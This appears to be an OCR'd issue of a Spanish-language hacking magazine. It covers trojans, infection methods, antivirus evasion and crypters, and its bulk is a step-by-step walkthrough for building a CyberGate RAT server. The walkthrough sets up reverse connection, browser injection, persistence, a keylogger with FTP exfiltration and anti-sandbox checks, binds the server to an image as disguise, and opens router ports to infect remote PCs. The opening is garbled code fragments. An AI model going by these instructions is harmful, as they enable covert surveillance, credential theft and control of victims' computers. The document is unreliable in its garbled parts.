

// It might not work properly.

ŀ

Metodo onirico

sk nightmare &8



I



MAL UARE MA

0,1,(A 0,0,4,(N

D), // S DSGUNFERE // S DSGUNFands

while (gameactio

case ga_loadgame: G_DoLoadGame (); break; case ga_savegame case ga_playdemo: G_DoPlayDemo (); case ga_completed: G DoCompleted 0 neak e ga_victory StartFinale (); da worlddone: G. DoWorldDone (); hneakc se ga_screenshot: M_ScreenShot 0; gameaction = ga_nothing; neak se ga_nothing: bneak

nands, check consistancy, new consistancy check tic/ticdup)%BACKUPTICS;

MAXPLAYERS ; i++)

if (playeringame(i))

memory (cmd. &netcmdslillbufl. sizeof(ticcmd

if (demoplayback) G_WriteDemaTiccmd (cmd);

SH# check for tur SHift (cmd->for

for (i=0

*player_name intf (turbomessage, "%s is turbo!",pla

HOLD

consistency failure (%) should rie-ums-tan verstil.mo

sistancylillbufl = playerslil.mo->x



buttons & BT_SPECIAL)

S_PAUSE S_PauseSound ();

Índice

A modo de prólogo Pág. 3
¿Qué significa la palabra Malware? Pág. 5
Una mirada a la historia Pág. 5
Evolución de los troyanos Pág. 6
Partes de un troyano Pág. 7
Troyanos públicos y privados Pág. 8
Formas de infección Pág. 8
Camuflaje Pág. 9
Indetectabilidad Pág. 9
¿Cómo selecciono un troyano? Pág. 10
EOF Data Pág. 11
¿Cómo configuro un troyano? Pág. 12
Apertura de puertos Pág. 21
Configuración del NO-IP Pág. 22
¿Qué es y para qué sirve un crypter? Pág. 30
Tipos de Crypters Pág. 30
¿Cómo funciona un crypter? Pág. 30
¿Cómo funciona un AntiVirus? Pág. 31
Partes de un crypter Pág. 31
Creando un crypter desde cero Pág. 32
Método Onírico Pág. 48
Instalación de un SandBox Pág. 58

A modo de prólogo...

Estimados lectores, hoy cumplimos un proyecto que surgió del vehemente deseo de multiplicar el conocimiento. Malware-Magazine abre sus páginas por primera vez, iniciando una experiencia en la que aspiramos dar un paso más en la construcción de los puentes que nos acercan a ustedes.

El Malware es una realidad incontestable. El reto de conocerlo no es menor al desafío de manipularlo. En esta primera publicación, el elenco de temas es planteado desde un escenario que habilita a sus protagonistas a enfrentarse a los tóxicos desde cero, con marcos teóricos mínimos pero lo suficientemente claros para comprender los aspectos prácticos que se explican.

La información que encontraran proporciona instrucciones para sumergirse en el universo de manzanas envenenadas; entenderlas va desde excluirlas a modificarlas, secuestrarlas o usarlas para el mejor hacer conforme sus decisiones. Son éstas las razones por las cuales las guías aspiran a que -cumplidas las instrucciones señaladas y agotadas las etapas- puedan comenzar a transitar por con el mundo de troyanos, crypters, la indectabilidad y la sandbox.

La invisibilidad no es un mito, es una realidad que podemos manejar; el malware es cambiante e inquieto y solo en función de conocerlo en sus propias entrañas, podremos saber a qué pertrechos debemos enfrentarnos. Este panorama informático, velozmente mutable, es otro de los motivos que nos impulsan a compartir con ustedes este ciclo de publicaciones.

Finalmente, queremos decirles que es nuestra intención mover la vocación por el saber, por el aprender a hacer, investigar y descubrir, pues éstos son los atributos que constituyen el sendero a la profesionalidad informática.

No se detengan, compartan sus prácticas y planteen sus dudas, la comunidad de UndercOde los espera.

Introducción al malware

Infección, Camuflaje

Troyanos (Partes y configuración)

NO-IP y Puertos

Troyanos a fondo

¿Qué significa la palabra Malware?

La palabra Malware viene del inglés **Mal**icious Soft**ware**, hace referencia a programas o scripts que afectan a nuestro ordenador y que puedan llegar a dañarlo.

Estos daños pueden afectar tanto al Software, como al Hardware. El nivel del daño lo determina el lenguaje con el cual fue programado el Malware y el nivel del programador, y por supuesto la finalidad con la cual fue creado.

Muchas veces decimos que un Malware es dañino, pero esto no siempre es así. Por ejemplo, los Stealers, son Malwares diseñados únicamente para robar logs o passwords almacenadas en un ordenador y tienen la capacidad de enviarnos esos logs por mail o a un FTP propio. No quiero entrar en detalle con este punto, ya que en las próximas entregas haré una especial para desarrollar esta clase de Malware. Lo que nos interesa ahora, es saber diferenciar los tipos y finalidades de los Malwares.

Una mirada a la historia...

La palabra troyano, viene de la historia del caballo de Troya.

Para los que no conozcan, el caballo de Troya era un enorme caballo de madera que fue construido por los griegos según cuenta la Odisea de Homero- para introducirse en la amurallada ciudad de Troya. El caballo era un obsequio para los troyanos con los cuales estaban en guerra, era una ofrenda de rendición.

Lo que los troyanos no sabían era que caballo tenía en su interior soldados griegos. Una vez que el caballo estuvo dentro de Troya, los guerreros salieron y atacaron la ciudad. Así fue como lograron penetrar las enormes murallas de la antigua Troya y ganaron la guerra.

En el mundo informática, los troyanos cumplen una función muy similar. Nos permiten acceder a otros ordenadores sin levantar muchas sospechas.

Evolución de los troyanos

Antiguamente los troyanos eran de conexión directa, esto quiere decir que nosotros debíamos conectarnos con nuestro remoto. A continuación les mostrare un ejemplo con un troyano llamado Theef.



Como pueden ver en la imagen, tuve que colocar la ip y puerto de conexión del remoto. En este caso es 127.0.0.1 ya que lo estoy testeando en mi PC como local.

Lo malo que tenían estos troyanos es que solo se podía conectar de a un remoto por vez y también debíamos saber su IP...

Por suerte, en la actualidad hay troyanos de conexión inversa en donde podemos tener más de una conexión al mismo tiempo y no necesitamos saber su IP para conectarnos.

Uno de los troyanos más utilizados en la actualidad es el CyberGate, el cual contiene muchas funciones, nació en base al troyano SpyNet y es compatible con los sistemas operativos actuales excepto al Windows 10 porque es muy reciente y aún no sacan versión que se adapte a este.

CyberGate v1.07.5											
Control Cer	Control Center										
Location	Identification	WAN / LAN	Computer / User	CAM	Operating System	CPU	RAM	Antivirus			
Spain	ANTRAX_F07C1146	127.0.0.1/127.0.0.1	DRONE/DINNO	🛞 Yes	Managers 7 Information 4 Remote Tools 4 Net Tools 4 Extras 4 Server Tools 4 Files 4	Intel(R) Core(TM	2,98 GB	Not Found			
Search:		Find						Connection Log			
Group Panel					Client Statistics PC - User: DRONE - DINNO OS: Windows 7 Ultimate (Build: 7C Client Start: dom, oct 19, 2014 Listening on ports: (81) Connections limit: 200 Servers online: 1 Total Connections: 1 Failed Connections: 0 Status: CyberGate Initialized	00) 09:13 PM Password: 					

Si observan la imagen -aparece una especie de grilla- en donde se irán listando los remotos cada vez que uno entre a internet y se conecte a nuestro troyano.

A diferencia del anterior, no tuvimos que poner ip del remoto ni nada de eso, ya que automáticamente al ser de conexión inversa, el remoto conecta a nosotros.

Otro de los avances son las opciones que tienen cada uno. Cuando hablamos de opciones, hacemos referencia a lo que podemos hacer con los troyanos. Antiguamente, se usaban para abrir y cerrar la puerta del CD-ROM, apagar la pantalla y otras tareas no muy útiles. En la actualidad, los troyanos realizan varias funciones, como por ejemplo: capturar teclas pulsadas, permiten manipularle el teclado y el mouse a nuestro remoto, nos muestran passwords almacenadas en el ordenador, traen opciones de rootkit integradas ya que podemos ocultar el proceso u ocultarlo en otro, cambia la fecha de creación para no levantar sospechas, etc. También podemos manipular sus ficheros, eliminar, modificar, crear, atacar a otras PCs, editar el registro, programas instalados, entre otras funciones.

Partes de un troyano

Un troyano consta de dos partes fundamentales: un cliente y un servidor.

Cliente, es aquel que usaremos nosotros para conectarnos con nuestro remoto.

Servidor, es el que debemos enviar para infectar a nuestro remoto.

A continuación, les mostrare como se ve cada uno



Este troyano en particular crea al servidor con un icono de imagen como forma de camuflaje.

Troyanos públicos y privados

Podemos clasificar los troyanos en dos grandes grupos, en los cuales tenemos los públicos y los privados.

Cuando decimos troyanos públicos, hacemos referencia a troyanos liberados por los programadores, para que cualquier usuario pueda tener acceso a él y lo pueda utilizar libremente.

Los troyanos privados son troyanos que están en venta y deberá pagarse una suma de dinero al programador para poder tener acceso a él. Estos troyanos suelen venir con algún tipo de protección como por ejemplo Hardware ID, acceso con usuario y contraseña entre otro tipo de protecciones para que no puedan ser liberados. También suelen tener opciones adicionales hechas a medida. Además de las características señaladas, suelen ser indetectables y vienen con garantía.

A la larga siempre hay alguien que libera los troyanos privados, esto suele ocurrir porque sale una nueva versión y el programador decide liberarlo y vender la nueva versión, o también puede ser que algún usuario disconforme con el programador decide crackearlo y liberarlo para que todos tengan acceso a él.

Formas de infección

Existen muchas formas de infecciones que a lo largo de estas entregas iremos desarrollando con mayor profundidad. Por ahora, solo las nombraremos y detallaremos brevemente.

Infección por P2P: Se les dice P2P a los programas que utilizamos para descargar música, videos, programas, etc. Como lo son el Ares, Emule, Lime Wire, entre otros. La infección por P2P consiste en colocar un servidor de un troyano en la carpeta compartida para que otras personas lo descarguen y se infecten.

Infección por URL: Consiste en subir un server a un host, y por medio de un exploit hacer que se ejecute solo en el ordenador remoto cuando se visite ese link. Es difícil encontrar este exploit ya que es privado y solo se consigue pagando por él.

Infección por Facebook: Seguramente más de una vez hemos visto publicaciones un poco extrañas en facebook que llevan a webs que terminan infectándonos.

Infección a través de Exploit: Esta otra infección aprovecha fallas de los navegadores para infectar, es algo similar a la infección por URL.

Infección por Cadenas de Mail: son los que suelen venir adjuntos junto con cadenas que recibimos por mail.

Infección por Warez: Esto suele verse en foros en donde usuarios postean programas, y estos suelen venir unidos con algún troyano.

Infección por Autorun: Cada vez que conectamos o insertamos un medio extraíble, ya sea USB, CD-ROM, etc. sale una reproducción automática; esta reproducción automática es debido a un Autorun que ejecuta un programa y muestra un icono, lo que se hace es editar ese Autorun para que cuando se conecte un medio extraíble se ejecute automáticamente el server.

Es probable que en algún momento hayamos entrado a una web y el antivirus nos haya dado una alerta, en este caso es porque estamos frente a una posible infección por URL... Y así encontraremos miles de ejemplos de formas de infección.

Camuflaje

Al día de hoy, la mayoría de los troyanos traen opciones para ocultar los servidores en ordenadores remotos.

Tenemos, por ejemplo, los rootkits que suelen venir con el troyano, cuya función es ocultar el servidor en algún proceso, o hacer este proceso invisible para que nuestro remoto se dé cuenta. También tenemos la opción muy usada de cambiar el icono y reemplazarlo por alguno de una imagen, programa, documento, etc. con el fin de que nuestro objetivo piense que es un archivo inofensivo. Otros, también suelen unirlo con algún joiner entonces al abrir una imagen, archivo, documento o con lo que haya sido unido, este ejecute a su vez el servidor que viene adentro. Podremos ver, todas estas opciones, en el troyano CyberGate que veremos más adelante.

Indetectabilidad

A lo largo de estas entregas, se irán mostrando distintos métodos de indetectabilidad. Por ahora solo lo veremos muy por encima para que vean de qué se trata.

Seguramente pensaran, "Yo tengo antivirus, y no me voy a infectar..." Los que dicen o piensan eso, es porque seguramente no han leído nada al respecto.

En estas revistas iremos viendo distintas formas de pasar las protecciones y a su vez iremos analizando de qué formas podemos protegernos para evitar que nos infecten a nosotros.

No nombraré todos los métodos de indetectabilidad, pero si los más importantes:

Por Código Fuente: Consiste en editar el código fuente de algún malware para dejarlo indetectable, ya sea añadiendo código basura, modificando strings, entre otros mecanismos.

Edición Hexadecimal: Se edita el Stub modificando offsets detectados por los antivirus para que estos lo dejen de detectar.

Utilizando un Crypter: Al pasarle un crypter al servidor, este encripta la información del Stub del servidor y lo deja indetectable siempre y cuando el crypter sea FUD.

Ediciones de saltos: Usualmente se utiliza un debugger como por ejemplo el Olly, editando saltos, PUSH, etc.

Existen otros, pero no quiero complicarlos tanto con esto, es por eso que pararemos aquí; y más adelante, iremos desarrollando y explicando con tranquilidad los métodos que hay.

¿Cómo selecciono un Troyano?

La mejor forma de seleccionar un troyano, es sabiendo qué es lo que se desea hacer, ya que hay troyanos simples y otros más completos, que se sobreentiende que contienen más opciones, pero tienen la desventaja de no ser muy estables.

Para saber si los troyanos son estables o no, es necesario saber en qué lenguaje fue programado.

Como ya sabrán los lenguajes más potentes son los de más bajo nivel (Binario, ASM), luego siguen los de medio nivel (C/C++) y finalmente, los de alto nivel que son el resto (VB, Java, Delphi, siendo los más usados, entre otros).

Les enseñare rápidamente como identificar en que lenguaje están programados los troyanos.

Con un editor hexadecimal, abrimos el ejecutable y buscamos alguna línea del código que nos diga algo referido al lenguaje con el cual fue programado.

Por ejemplo, el Spy-Net

	- ₁			00	00		~ ~	с. 2
e.6.@x;.+h%'.ff	5e.6	66 25	E1 6	Α1	66	ΕF	27	01
tU.fZ?f	3	12 53	10 :	93	7 F	FF	FF	8B
OFTWARE\Borland\Delphi	4 OFTWA	69 D4	68 (70	6C	65	44	5C
\RTL.FPUMaskValue	B \F	E3 9B	DB I	65	75	6C	61	56
.kp.	1 .k	D4 31	70 I	8B	D7	2F	C2	8B
AV@;J.u	0A.	75 10	FC	4A	ЗB	08	2D	40
TZ 2/h w u C 6	oltz s	36 40	ng 1	88	13	F 2	λλ	nи

Delphi

Otro ejemplo, con el IndSocket RAT

20		00	10 25	20	00 70	20	60	00	00	00	DO DO	·····
10	υu	CU	ZE	12	/ 3	12	63	00	υu	00	БС	@rsrc.
00	60	OC.	00	00	00	00	00	00	00	00	00	1p`
4A	10	00	00	00	00	00	00	00	00	00	00	@@l.[J
4C	4C	00	00	00	00	00	00	00	00	00	00	.MSVBVM60.DLL
00	00	00	00	00	00	00	00	00	00	00	00	
00	00	00	00	00	00	00	00	00	00	00	00	
00	00	00	00	00	00	00	00	00	00	00	00	
00	00	00	00	00	00	00	00	00	00	00	00	

Visual Basic

De esta manera podremos ir viendo con que lenguaje fue hecho y que estabilidad posee.

Estabilidad quiere decir que la conexión no se caiga, o sea que no se nos desconecte cuando la PC remota se reinicie, que no se bloquee el proceso, etc.

Los troyanos más estables son el Bifrost y Poison Ivy, ya que sus servidores están hechos en ASM, pero ya no son muy usados porque no son compatibles al 100% con Windows Vista, 7, 8, 10. En cambio el Spy-Net que está hecho en Delphi, sí lo es.

Sigamos con más características...

Necesitamos saber qué Sistema Operativo es el que tiene nuestro objetivo.

En caso de que sea Windows XP, se puede usar el Bifrost, o Poison Ivy que son los más estables. Pero en caso de que sea Windows 7 o Vista, deberemos optar por otro que sí sea compatible como lo es el Spy-Net, DarkComet, CyberGate, entre otros; y que además tienen muchas más opciones que no trae ni el Bifrost y Poison Ivy, pero con menos estabilidad.

También podemos elegir el Troyano dependiendo de lo que queramos hacer, y dependiendo de las opciones que traiga.

EOF Data

Troyanos como el Bifrost, Turkojan, Biohazard, entre otros poseen algo llamado EOF Data (End Of File Data).

Para saber que es, lo mostraré en una imagen:

00 DC 6A 40 20 20	00 DE 65 5F 20 20	00 5A 64 31 20 20	00 D2 5F 40 20	00 E0 56 5F 20	00 5C 69 77 20	00 DE 63 33 20	00 E4 74 30 20	f``\Z\ .@_p`@_Zark_Projed_Vict ims@_0@_0@_1@_0@_1@_w30 0.no-ip.org@_		F ti ti b
20	20	20							ä.	

-

Como podemos observar, es el final del código mostrado con un editor hexadecimal y, claramente, podemos ver la NO-IP **w300.no-ip.org** que es a la DNS que conecta este servidor.

En definitiva, al final del código, éste nos brinda la información de la conexión.

A la hora de utilizar este tipo de troyanos deberemos usar Crypters con soporte EOF para dejarlos indetectables. Esto se debe a que el crypter copia esa información del final, y la vuelve a dejar igual en el servidor final -de forma intacta y sin romperlo- para que vuelva a conectar.

¿Cómo configuro un troyano?

Podemos usar un troyano para usarlo en una red local o hacer infecciones remotas.

Para este ejemplo, usaré CyberGate. Cuando lo ejecutemos por primera vez, veremos la siguiente pantalla, la cual es para aceptar los términos de uso. Simplemente clickeamos en "I Agree" y podremos usar el troyano.

CyberGate Disclaimer	-
CyberGate RAT	
THIS DISCLAIMER REPRESENTS A CONTRACT BETWEEN YOU AND CYBER-SEC.ORG. AFTER READING, YOU WILL BE ASKED TO ACCEPT THIS AGREEMENT AND CONTINUE TO USE THE SOFTWARE, OR, IF YOU DO NOT WISH TO ACCEPT THIS AGREEMENT, TO EXIT, IN WHICH CASE YOU WILL NOT BE ABLE TO USE, INSTALL OR OPERATE THE SOFTWARE. BY USING THIS SOFTWARE YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT.	
This disclaimer is a legal agreement between you (henceforth referred to as "the User") and Cyber-Sec.Org, regarding the software application CyberGate (henceforth referred to as "the Software") which you have downloaded, or otherwise obtained through other resources or media such as CD-ROMs, floppy disks, or through a network in object code form or other related services.	
By accessing, downloading, storing, loading, installing, executing, displaying, copying the Software into the memory of a computer or otherwise benefiting from using the functionality of the Software in accordance with the documentation, you agree to be bound by the terms of this agreement. If you do not agree to the terms and conditions of this Agreement, Cyber-Sec.Org is unwilling to grant usage of the Software to you. In such event, you may not Operate or use the Software in any way.	
BY CLICKING THE "I AGREE" BUTTON IT IS INTERPRETED AS A SYMBOL OF YOUR SIGNATURE AND YOU ARE THEREBY CONSENTING TO BE BOUND BY THIS AGREEMENT AND AGREE THAT IT IS ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU. IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS AGREEMENT, CLICK THE EXIT BUTTON REMOVE THE SOFTWARE FROM YOUR COMPUTER.	
By running this Software, you are consenting to be bound by this agreement. Upon termination of this agreement you will no longer be authorized to operate or use the Software in any way. The Software will not run on your computer unless or until you accept the terms of this agreement.	
 Proprietary Ownership Rights. You agree that the Software and any associated ideas, methods of operation, documentation and other information contained in the Software, are intellectual properties of HackHound.org. You acknowledge that the source code for the Software is proprietary to Cyber-Sec.Org. You agree not to modify, adapt, translate, reverse engineer, decompile, disassemble or otherwise attempt to discover the source code of the Software. 	
I Agree I Dedine	

Tras pulsar el botón, veremos al cliente del troyano. Ahora simplemente debemos clickear en Control Center y luego en START para iniciarlo.

CyberGate v1.07.5			Contraction of Comparison of C	-						
📮 Control Center										
START	Identification	WAN / LAN	Computer / User	CAM	Operating Syste	m C	CPU	RAM	Antivirus	Fire
STOP										
🗔 Minimize										
Maximize										
📕 Builder 🔹 🕨										
Options •										
🛠 Tools 🔹 🕨										
P Update										
About			m							۴
🕄 Exit		Find							👔 Connect	ion Log
Group Panel						Client Statistics	3			
						PC - User:				
						OS: Client Start:				
						Listening on ports:	-//-			
						Connections limit: Servers online: 0	0	Pass	word:	
					1	Total Connections:	0			
						Failed Connections	s: 0 ata is in stand by	mode		
						status. cyberos	ate is in stand-by	mode		

Una vez hecho esto, nos mostrará una pequeña ventana para configurar el cliente; la misma nos pedirá un puerto (por el cual se realizará la conexión) y una contraseña (en caso de que alguien intentase robarnos los remotos, esta contraseña nos servirá para evitarlo)

Select listening po	orts X
Active Ports	C Delete
	Connections limit
	Connection password 123456
	Show password

En este caso he agregado el puerto 80, aunque podría ser cualquier otro, y también una contraseña de conexión; además tiene un "**Connection limit**" este número representa la cantidad de remotos que mostrará el cliente. Recuerden que mientras más grande sea, demorará más en responder (Si es que tienen muchos infectados).

Una vez configurado esto, damos click en el botón Save para salvar los cambios.

Ahora es el turno de crear nuestro servidor con el que infectaremos. Para ello, vamos nuevamente a **Control Center**, luego a **Builder** y finalmente clickeamos en **Create Server**.

CyberGate v1.07.5									
📮 Control Center									
START	Identification	WAN / LAN	Computer / User	CAM	Operating System	CPU	RAM	Antivirus	Fire
🗔 Minimize 🔲 Maximize									
Builder Detions Tools	Create ser	ver							
P Update About									4
Croup Paner		Find			Clien PC - U OS: V Client Listen Conne Server Total C Failed Statu	tt Statistics ser: DRONE Vindows 7 Ultimate (Build: 78 Start: lun, oct 20, 2014 00 ing on ports: (80) etions limit: 200 sonline: 0 connections: 0 connections: 0 s: CyberGate Initialized	00) 9:10 PM	word:	ection Log)

Al clickear en **Create server**, veremos la siguiente ventana, en la cual debemos crear un nuevo perfil, para ello clickeamos en New, escribimos el nombre que queramos y finalmente en **Forward** para continuar.

Create server	
A Users	
Users Underc0de	C New Delete
	Forward

Para el siguiente paso, debemos conocer nuestra IP. Como haré una infección local para probar la conexión, abriré una consola y pondré: **ipconfig**



Como se puede ver, la ip asignada a mi máquina en mi red local es **192.168.0.108** y será la que utilizaré para crear mi servidor e infectar a ordenadores de la misma.

Volvamos al troyano, veremos una pantalla en la cual debemos colocar una IP o DNS (la nuestra) para que las PCs infectadas se conecten a nosotros. Además especificar el mismo puerto y contraseña que colocamos al configurar el cliente, es acá en donde pondré la IP que saqué desde la consola. Damos click en **Add** y colocamos la IP y el puerto de la siguiente forma:

Users Connection Installation A Message Keylogger Anti-Debug Create server DNS Port Identification remote DNS and port connection remote Please enter connection address and port (Ex.: 127.0.0.1:81) how password Ige: 127.00.108:80 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.108:80 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 Ige: 127.00.1:81 <td< th=""></td<>

Una vez agregado la IP y el Puerto, configuraremos el resto de los campos; los cuales son Identification (Nombre del remoto), Password (la contraseña que colocamos en el cliente).

C	reate server					X
	🥵 Users 🥘 🤇	Connection 🛃 Insta	lation 🛕 Message	Keylogger	🧕 Anti-Debug 🗧	Create server
	M Users () DNS 192.168.0.108	Port 80	lation Add	Keylogger Identification Password	 Anti-Debug ANTRAX 123456 Show password 	Create server

Una vez finalizado esto, pasaremos a la siguiente pestaña... Installation.

Esta quizás sea una de las partes vitales de la configuración. Acá es el momento en que le decimos en donde se instalará en la PC infectada, con que nombre, si se añadirá al registro, entre otras opciones que explicaré, una por una, para que quede claro.

Create server		X
🥵 Users 🥘 Connection 🍶 Installation	🚹 Message 🗉 Keylogger 🧕	Anti-Debug 🗧 Create server
 ✓ Install server 1 Installation directory ④ System ○ Windows 2 ○ Root ○ Program Files ○ Other c:\directory\CyberGate\ 	directory 4 Windll32 Inject into: No injection Default Browser Other	File Name Windll.exe 5 explorer.exe
Boot 3	Realtek	Persistance 6
Policies\Explorer\Run Policies	Rediter	Change creation date
4WKHI1LM-W8S1-TAH5-F7G1-6I80I1Q657DI	C Random	Mutex 7 UH4AMH407NT51P C Random

1) El checkbox del **Install server**, indica que el servidor del troyano quedará instalado en la PC infectada.

2) **Installation directory:** Acá indicaremos en que directorio se alojará el troyano en el ordenador infectado. Por lo general un usuario normal jamás revisa los directorios del sistema.

3) **Boot:** Estas opciones son para que el troyano inicie junto con el sistema operativo. Es recomendable colocarle el nombre de algún programa como para que no quede tan visible. En este caso coloqué "**Realtek**" ya que es un programa que el Windows utiliza para el sonido.

4) **Directory y File Name:** Estas dos opciones indican que se creará un directorio (Directory) con el nombre que le indiquemos y al troyano le pondrá el nombre que coloquemos en File Name. Yo coloqué nombres que simulan ser archivos de Windows.

5) **Inject into:** Esta opción sirve para inyectar el troyano en un proceso para que quede camuflajeado. En este caso, se ocultará en el proceso del Browser que esa persona use como default.

6) De estas 4 opciones, la más importante es la de **Persistencia**, ésta sirve para que vuelva a infectar el equipo en caso de que la persona intente quitárselo. Además, tiene la opción de "**Hide File**" (Ocultar archivo), **Change creation** date (Cambia fecha de creación) y **Melt file** (Derretir archivo al ejecutarlo)

7) Finalmente el **MUTEX** es un campo importantísimo. Para aquellos que no sepan lo que es el Mutex, es una especie de código que debe ser único para cada programa que se ejecuta en la PC. Si tenemos dos servidores con el mismo Mutex, el segundo no infectará. Por lo que al crear un server nuevo, recuerden siempre cambiar el Mutex.

Ahora pasamos a la pestaña de **Keylogger**. El motivo por la cual no veremos la de Message, es porque nadie suele usarla. De igual forma, a grandes rasgos, sirve para que muestre un mensaje de error, advertencia, etc. al ejecutar el server del troyano.

En la pestaña del Keylogger, debemos asegurarnos de que venga activa y que elimine los backspace.

Create server		×
🥵 Users 🥘 Connection	🍶 Installation 🛕 Message 🖻 Keylogger 🧕 Anti-Debug	🗲 Create server
Active Keylogge		
keylogger settings		
Send logs by FTP		
FTP Settings		
Send to	ftp.server.com	
directory	logs/	
FTP user:	ftp_user	
FTP password:	Send logs FTP port 21	
Send each	30 V Minutes	Test

En caso de que tengan un servidor de FTP y deseen enviar los logs ahí, pueden hacerlo activando la opcion "Send logs by FTP" y configurando su cuenta.

Personalmente no lo recomiendo ya que esta acción de enviar el log a un servidor remoto, hace que el Antivirus sospeche.

Ahora pasamos a la pestaña Anti-Debug. Ésta sirve para que en caso de que quieran ejecutar el servidor de nuestro troyano en una maquina virtual, Sandbox, etc, el troyano no se ejecute, por lo que lo hará menos sospechoso.

Create server	×
🥵 Users 🥘 Connection 🌄 Installation 🛕 Message 🗈 Keylogger 🍭 Anti-Debug	Create server
Cancel the execution of the server in the following cases	
Anti Sandboxie 🕼 Anti Debugger	
Anti Virtual PC Vother	
Anti VMWare	
Anti VirtualBox	
Anti ThreatExpert	
Anti Anubis	
Anti CWSandbox	
Anti JoeBox	
Anti Norman Sandbox	Check all
Anti Softice	Uncheck all

Recuerden que si quieren testear el troyano en una maquina virtual, deben desactivar la opción correspondiente, sino jamás les conectará.

Finalmente pasaremos a la pestaña Create server.

En caso de querer unir nuestro servidor con una foto, Clickeamos en Bind files (1). Luego clickeamos en los 3 puntos para buscar nuestra imagen (2), finalmente Clickeamos en el botón Add (3) para que lo añada a la lista. Una vez hecho esto, clickeamos la X para cerrar la ventana y ya lo tendremos nuestro servidor con icono de foto unido a una imagen.

Create server						the state of the s		-	23
🥵 Users 🥘 Connec	tion	Installat	ion	Message	• Kevk	oaaer 🔘 Anti-D	ebua 두 (Create server	
Use icon	Bi	nd files		-	_	1.00	-	U	×
Compress	•	Builder		Destination	Size	Execution	Parameter		
1 Bind files		C:\Use	rs\	Temp	319 KB	Shell Execut			
Connection									
Identification									
Password	•								
Installation Inject into:									
Persistance Hide file	E	Builder:						2	
Change creation d Melt file	a C	Destination:	Temp		•	Paramete	er:		
•	E	Execution:	Shell Execute (Normal) - 3 Add						
	*	The items wh	ich ar	en't checked w	vill be execu	ted only the first tim	e program is r	run.	

Ahora sí, llegó el momento más esperado... Clickeamos en el botón **Create server** y generamos nuestro servidor.

Create serve	er		-	-	10000	-		-	X
🧟 Users	s 🥘 Connection 🌄	Installation	🛕 Message	🖹 Keyl	logger 🛛 🥘	Anti-Debug	4	Create server	
	Vse icon		Delayed	execution	1	(Seconds)			
	Compress with UPX		Coogle C	hrome Pass	words	_			
	Bind files						7	Create server	
Connect DNS 0. Identia Passwor	fication		192. ANTR 1234	168.0.108 AX 56	3:80				-
Instal: Inject Persist	lation into:		Defa	ult Brows	ser				
Hide f: Change	creation date		No Yes						
<									• •

Seleccionamos donde guardar el servidor y damos click en Guardar. Si todo salió bien, nos debería mostrar el siguiente cartel:

Create serv	er	1.00	a la company	23
🥵 Users	👻 Connection 🍶 Installation 🛕	Message 🖭 Keylogger	🧕 Anti-Debug 🗲	Create server
	Vse icon	Delayed execution 1	(Seconds)	
	Compress with UPX	Google Chrome Passwords		
	Bind files			Create server
<	Server successfully Ye	reated. Want to save the co	urrent settings?	-

El mensaje nos indica que el servidor se creó correctamente y nos dice si queremos guardar nuestra configuración. Daremos click en Yes.

Ahora, si vamos al directorio en donde guardamos el server.exe y podremos verlo con el icono de una imagen:



Al ejecutarlo, podremos ver que se abrió la imagen con la cual lo adjuntamos y, a su vez, podremos visualizar al remoto conectado en nuestro cliente



Con esto, hemos visto cómo infectar alguna PC de nuestra red local... Pero bien... esto no termina acá... Ahora, veremos cómo infectar PCs remotas, es decir, PCs que no estén a nuestro alcance.

Apertura de puertos

Para ello es necesario 2 cosas, abrir un puerto en nuestro router (Por el cual saldrá/entrará la conexión) y una DNS (Se utiliza en reemplazo a la IP)

Una aclaración importante es saber diferenciar un Modem de un Router... En los modems no se abren puertos, pero en los routers si.

No en todos los routers se abren de la misma forma. Por ejemplo, en mi caso, tengo un TP-Link y debo abrirlo de la siguiente forma:

Primero, debo entrar al panel web, para ello con el comando **ipconfig** desde la consola, podremos ver no solo la IP que tenemos asignada, sino también una puerta de enlace. Esa puerta de enlace es la IP del router.

En mi caso es la **192.168.0.1**, al colocar esa IP en un navegador web, me llevará al panel del router.

Ahora solo me toca ir a la opción de "Virtual Servers", y clickeo en Add. Y me dejará abrirle un puerto a una IP específica:

TP-LINK [®]		150M Wireless Lite N Router Model No. TL-WR740N
Status Quick Setup QSS Network Wireless DHCP Forwarding - Virtual Service Port: - Port Triggering - DMZ - DMZ	erver Entry 0 (0X-XX or XX) 92.168.0.108 ALL • -select One • Save Back	 Virtual Servers Help Virtual servers can be used for setting up public services on your LAN. A virtual server is defined as a service port, and all requests from internet to this service port will be redirected to the computer specified by the server IP. Any CH tark was used for a virtual server must have a static or reserved IP address because its IP address may change when using the OHCP function. Service Port - The numbers of External Ports. You can enter a service port or a range of service port, IP Address of the PC running the service application. Protocol - The protocol used for this application, either TCP, UDP, or All (all protocols supported by the Router). Status - The status of this entry. "Enabled". Common Service Port - Some common services already exist in the pull-down list. Modify - To modify or delete an existing entry. Stelet the service you want to use from the Common Service Port menu does not list the service port or service Port menu does not list the service port or service port and use enter the number of the service Port to a service Port menu does not list the service port and to use, enter the number of the service port to service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port on service Port menu does not list the service port the common Service Port tow. Enter the IP address of the computer running the

Como bien vimos antes, mi IP privada era la **192.168.0.108**, y como el puerto que voy a usar es el 80, abro ese puerto para esa IP.

